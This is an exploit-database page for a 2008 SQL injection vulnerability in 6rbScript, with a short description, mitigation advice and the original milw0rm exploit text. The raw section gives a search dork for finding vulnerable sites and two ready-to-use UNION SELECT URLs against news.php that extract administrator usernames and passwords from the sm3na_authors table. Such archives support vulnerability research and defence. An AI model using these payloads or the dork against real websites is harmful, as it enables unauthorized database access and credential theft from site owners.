header-logo
Suggest Exploit
vendor:
6rbScript
by:
Hussin X
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: 6rbScript
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

6rbScript SQL Injection Vulnerability

An attacker can exploit a SQL injection vulnerability in 6rbScript to gain access to the underlying database. The attacker can send a specially crafted HTTP request containing malicious SQL statements to the vulnerable application. This can allow the attacker to gain access to unauthorized data or even execute system level commands.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Developers should also use parameterized queries to prevent SQL injection attacks.
Source

Exploit-DB raw data:

##########################################################
#
#	6rbScript SQL Injection Vulnerability
#
#	by Hussin X
#
#	Home: www.tryag.cc/cc
#
#	darkangel_g85[at]Yahoo[DoT]com
#
#       DoRK: Powered by 6rbScript
##########################################################


##########################################################

Exploit:

PWD

http://www.xxx.com/news.php?newsid=79+union+select+1,pwd,3,4+from/**/sm3na_authors--

USER

http://www.xxx.com/news.php?newsid=79+union+select+1,aid,3,4+from/**/sm3na_authors--




###########################################################

Greetz: All IRAQI And all HACKER

###########################################################

# milw0rm.com [2008-05-21]